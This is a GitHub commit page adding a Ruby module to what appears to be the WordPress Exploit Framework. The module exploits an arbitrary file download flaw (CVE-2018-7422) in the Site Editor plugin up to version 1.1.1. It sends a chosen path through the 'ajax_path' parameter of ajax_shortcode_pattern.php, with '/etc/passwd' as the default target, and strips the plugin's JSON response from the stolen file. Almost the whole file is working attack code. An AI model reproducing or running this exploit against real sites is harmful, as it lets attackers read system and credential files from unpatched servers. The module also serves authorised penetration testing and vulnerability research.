Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit d81ab81

Browse files
committed
Add Site Editor <= 1.1.1 file download
1 parent 202a449 commit d81ab81

File tree

1 file changed

+56
-0
lines changed

1 file changed

+56
-0
lines changed
Lines changed: 56 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,56 @@
1+
# frozen_string_literal: true
2+
3+
class Wpxf::Auxiliary::SiteEditorFileDownload < Wpxf::Module
4+
include Wpxf::WordPress::FileDownload
5+
6+
def initialize
7+
super
8+
9+
update_info(
10+
name: 'Site Editor <= 1.1.1 File Download',
11+
author: [
12+
'Nicolas Buzy-Debat', # Disclosure
13+
'rastating' # WPXF module
14+
],
15+
references: [
16+
['CVE', '2018-7422'],
17+
['WPVDB', '9044']
18+
],
19+
date: 'Mar 16 2018'
20+
)
21+
end
22+
23+
def check
24+
check_plugin_version_from_readme('site-editor', '1.1.2')
25+
end
26+
27+
def default_remote_file_path
28+
'/etc/passwd'
29+
end
30+
31+
def working_directory
32+
'wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/'
33+
end
34+
35+
def downloader_url
36+
normalize_uri(wordpress_url_plugins, 'site-editor', 'editor', 'extensions', 'pagebuilder', 'includes', 'ajax_shortcode_pattern.php')
37+
end
38+
39+
def validate_result(res)
40+
return false unless super(res)
41+
pattern = /{"success":true,"data":{"output":\[\]}}$/
42+
43+
if export_path.nil?
44+
res.body = res.body.gsub(pattern, '')
45+
else
46+
content = File.read(export_path).gsub(pattern, '')
47+
File.open(export_path, 'wb') { |f| f.write(content) }
48+
end
49+
50+
true
51+
end
52+
53+
def download_request_params
54+
{ 'ajax_path' => remote_file }
55+
end
56+
end

0 commit comments

Comments
 (0)